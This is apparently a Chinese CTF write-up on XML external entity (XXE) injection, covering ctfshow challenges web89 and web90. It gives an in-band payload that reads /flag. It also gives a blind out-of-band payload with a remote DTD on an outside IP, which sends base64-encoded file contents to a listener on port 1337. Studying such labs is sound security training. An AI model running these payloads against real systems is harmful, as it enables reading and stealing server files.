XML中关于DTD类型(内部(SYSTEM)的和外部(PUBLIC)的区别)
xxe的利用
XML Entity 实体注入
当程序处理xml文件时,没有禁止对外部实体的处理,容易造成xxe漏洞
危害
主流是任意文件读取
XML 文件
一般表示带有结构的数据
祖父 3个叔父 8个堂弟堂妹
<祖父>
<叔父1>
<堂兄1>
</叔父1>
<叔父2>
<堂兄2>
</叔父2>
<叔父3>
<堂兄3>
</叔父4>
</祖父>
xml格式
1 有回显时文件读取方法
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY hacker SYSTEM "file:///flag">
]>
<root>
<ctfshow>
&hacker;
</ctfshow>
</root>
例题1 web89
![](https://file.jishuzhan.net/article/1729578157515739137/cdc73b268bde5266ea6870b15d72787f.webp)
post传:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<ctfshow>
hacker
</ctfshow>
</root>
看到回显hacker
![](https://file.jishuzhan.net/article/1729578157515739137/4baf9b3a5edce591686e8d647d95da01.webp)
可以实现任意文件回显
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY hacker SYSTEM "file:///flag">
]>
<root>
<ctfshow>
&hacker;
</ctfshow>
</root>
![](https://file.jishuzhan.net/article/1729578157515739137/ab63be0cbd4ac0004f2fa1a90733a388.webp)
这里文件名纯靠猜,文件读取是建立在文件名已知的基础上的
2 无回显时文件读取方法
例题2 web90
![](https://file.jishuzhan.net/article/1729578157515739137/ba339406ce9411d7ca5b5d37cfc4f59a.webp)
无回显点,考虑数据外带
post传
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://124.222.136.33/test.dtd">
%myurl;
]>
<root>
1
</root>
在vps上创建文件test.dtd
test.dtd内容
<!ENTITY % dtd "<!ENTITY % vps SYSTEM 'http://124.222.136.33:1337/%file;'> ">
%dtd;
%vps;
vps监听1337端口即可